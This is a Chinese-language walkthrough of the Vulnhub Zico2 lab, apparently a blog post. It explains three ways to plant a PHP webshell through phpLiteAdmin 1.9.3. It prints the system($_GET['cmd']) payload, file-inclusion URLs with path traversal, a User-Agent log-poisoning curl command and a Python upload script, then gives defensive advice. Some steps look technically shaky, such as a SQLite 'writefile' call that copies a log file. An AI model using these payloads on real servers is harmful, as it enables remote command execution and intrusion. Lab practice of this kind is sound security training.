Vulnhub Zico2 靶场:phpLiteAdmin 1.9.3 数据库文件写入 Webshell 的 3 种利用方式
📅 2026/7/8 20:21:47
👁️ 阅读次数
📝 编程学习
Vulnhub Zico2 靶场:phpLiteAdmin 1.9.3 数据库文件写入 Webshell 的 3 种利用方式
在渗透测试的学习过程中,Vulnhub 靶场一直是安全爱好者们练习实战技能的绝佳平台。Zico2 靶机作为其中一台中等难度的靶机,提供了一个非常有趣的漏洞场景——通过 phpLiteAdmin 1.9.3 数据库管理工具实现 Webshell 写入。本文将深入探讨这一漏洞的三种不同利用方式,帮助安全研究人员全面理解这一攻击向量。
1. 漏洞背景与环境准备
phpLiteAdmin 是一个轻量级的 SQLite 数据库管理工具,类似于 phpMyAdmin 但专为 SQLite 设计。在 Zico2 靶机中,该工具的 1.9.3 版本存在一个关键漏洞:允许攻击者通过数据库操作写入 PHP 代码并执行。
实验环境准备:
- 靶机:Vulnhub Zico2 (IP: 192.168.x.x)
- 攻击机:Kali Linux 或其他渗透测试发行版
- 网络配置:确保靶机与攻击机在同一网络段
首先,我们需要识别靶机上的 phpLiteAdmin 服务。通过基本的端口扫描和目录爆破,通常可以发现该服务位于/dbadmin目录下:
nmap -sV -p- 192.168.x.x dirb http://192.168.x.x2. 直接数据库文件写入法
这是最直接的利用方式,通过 phpLiteAdmin 的界面操作直接创建包含恶意代码的数据库文件。
操作步骤:
- 访问 phpLiteAdmin 界面(通常无需认证或使用弱口令即可登录)
- 创建新数据库(如
shell.db) - 在新数据库中创建表(如
evil) - 添加一个 TEXT 类型的字段
- 在该字段中插入 PHP 代码:
<?php system($_GET['cmd']); ?>- 将数据库文件重命名为
.php扩展名(如shell.php) - 访问该文件执行命令:
http://192.168.x.x/dbadmin/shell.php?cmd=id关键技巧:
- 某些版本可能需要使用相对路径重命名文件才能生效
- 如果直接访问不成功,可以尝试通过 LFI(本地文件包含)漏洞包含该文件
3. 文件包含结合数据库写入法
当直接访问写入的 Webshell 受限时,可以结合靶机上可能存在的文件包含漏洞实现代码执行。
实施流程:
- 首先按照方法一创建包含恶意代码的数据库文件
- 识别靶机上的文件包含漏洞点(常见于 PHP 应用的参数如
?page=) - 通过文件包含执行数据库中的代码:
http://192.168.x.x/index.php?page=../dbadmin/shell.db- 传递命令参数:
http://192.168.x.x/index.php?page=../dbadmin/shell.db&cmd=whoami优势:
- 绕过直接访问限制
- 更隐蔽,不易被常规防护措施发现
4. 路径穿越结合日志污染法
当上述方法都受限时,可以尝试更复杂的路径穿越结合日志污染技术。
详细步骤:
- 确定 phpLiteAdmin 的实际安装路径(如
/var/www/html/dbadmin) - 通过 User-Agent 或其他可控制的输入污染日志文件:
curl -A "<?php system($_GET['cmd']); ?>" http://192.168.x.x/- 使用 phpLiteAdmin 创建指向日志文件的符号链接:
CREATE TABLE evil (data TEXT); INSERT INTO evil VALUES ('<?php system($_GET['cmd']); ?>'); SELECT writefile('/var/www/html/dbadmin/access.php', '/var/log/apache2/access.log');- 访问污染的日志文件执行代码:
http://192.168.x.x/dbadmin/access.php?cmd=id注意事项:
- 需要了解目标服务器的日志路径和权限设置
- 可能需要多次尝试才能成功
5. 自动化利用脚本示例
为了简化利用过程,可以编写简单的自动化脚本。以下是 Python 伪代码示例:
import requests target = "http://192.168.x.x/dbadmin/" shell_name = "backdoor.php" php_code = "<?php system($_GET['cmd']); ?>" # 创建数据库 requests.post(target + "phpLiteAdmin.php", data={ "action": "create_db", "dbname": shell_name.replace(".php", "") }) # 创建表并插入代码 requests.post(target + "phpLiteAdmin.php", data={ "action": "add_table", "table": "evil", "field": "code TEXT", "value": php_code }) # 重命名文件 requests.get(target + "phpLiteAdmin.php?action=rename&new=" + shell_name) print(f"Webshell 已上传: {target + shell_name}")6. 防御建议与修复方案
了解攻击手段后,我们更应该关注如何防御此类漏洞:
1. 权限控制:
- 为 phpLiteAdmin 设置强密码认证
- 限制数据库文件的写入目录和权限
2. 配置加固:
- 禁用危险函数(如
system()、exec()) - 设置
open_basedir限制 PHP 可访问的目录
3. 更新与替代:
- 升级到最新版本的 phpLiteAdmin
- 考虑使用更安全的数据库管理工具
4. 监控措施:
- 监控异常数据库文件创建行为
- 检查日志中的可疑 PHP 代码片段
7. 漏洞原理深度分析
这个漏洞的核心在于 phpLiteAdmin 对用户输入的处理不当,具体表现在:
- 缺乏输入过滤:未对数据库内容进行严格的代码检测
- 不安全的文件操作:允许用户控制文件扩展名和存储位置
- 默认配置不安全:早期版本默认安装缺少必要的安全防护
从技术角度看,攻击者利用了以下 PHP 特性:
- PHP 会解析任何包含 PHP 代码的文件,无论其扩展名是什么
- SQLite 数据库文件本质上是普通文件,可以被 PHP 解释器解析
- Web 服务器通常配置为允许执行特定目录下的 PHP 文件
理解这些底层原理有助于我们发现和防御类似的安全问题。
编程学习
技术分享
实战经验